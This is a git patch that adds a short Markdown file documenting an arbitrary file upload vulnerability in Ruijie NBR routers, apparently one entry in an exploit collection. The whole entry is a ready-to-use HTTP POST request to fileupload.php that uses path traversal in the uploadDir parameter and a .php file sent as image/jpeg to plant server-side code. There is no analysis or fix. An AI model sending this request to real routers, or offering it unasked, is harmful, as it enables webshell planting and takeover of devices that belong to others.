From c5cf63b74ab4c3dacfca8c699b688ab5c413b983 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Sun, 20 Aug 2023 09:38:27 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E9=94=90=E6=8D=B7=20NBR=20=E8=B7=AF?= =?UTF-8?q?=E7=94=B1=E5=99=A8=20fileupload.php=20=E4=BB=BB=E6=84=8F?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞.md diff --git a/锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞.md b/锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞.md new file mode 100644 index 0000000..4cfb6f2 --- /dev/null +++ b/锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞.md @@ -0,0 +1,11 @@ +## 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞 + +``` +POST /ddi/server/fileupload.php?uploadDir=../../321&name=123.php HTTP/1.1 +Host: +Accept: text/plain, */*; q=0.01 +Content-Disposition: form-data; name="file"; filename="111.php" +Content-Type: image/jpeg + + +```